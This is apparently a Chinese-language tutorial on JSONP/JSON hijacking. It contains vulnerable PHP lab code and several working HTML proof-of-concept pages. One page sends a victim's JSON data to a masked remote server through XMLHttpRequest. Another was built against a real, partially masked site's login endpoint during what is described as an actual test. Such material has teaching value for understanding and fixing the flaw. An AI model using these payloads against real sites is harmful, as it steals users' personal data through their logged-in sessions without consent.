JSON劫持
json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。
一些web应用会把一些敏感数据以json的形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似csrf的手段,向目标服务器发送请求,以获得敏感数据。
靶场练习
json漏洞代码
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>
POC
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>json劫持</title>
</head>
<body>
<script>
function vulkey(data)
{
alert(JSON.stringify(data));
}
</script>
<script src="http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey">
</script>
</body>
</html>
将上面poc保存成html文件,点击
可以看到成功将json信息带出来了
如下poc可以将json信息发送到远端服务器
<html>
<head>
<title>txf</title>
<script>
var xmlhttp;
function txf(a)
{
xmlhttp=new XMLHttpRequest()
var x="http://***.***.***/json.php?name="+a.data.name;
xmlhttp.open("GET", x, true);
xmlhttp.send();
}
</script>>
<script src=http://***.***.***?callback=txf></script>
</head>
</html>
实中的一次测试
发现一接口
http://******.com/klogin/request/login.ashx?act=json&jsonp=showUser&jsoncallback=
构造poc
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>json劫持</title>
</head>
<body>
<script>
function v(data)
{
alert(JSON.stringify(data));
}
</script>
<script src="http://****.com/klogin/request/login.ashx?act=json&jsonp=v">
</script>
</body>
</html>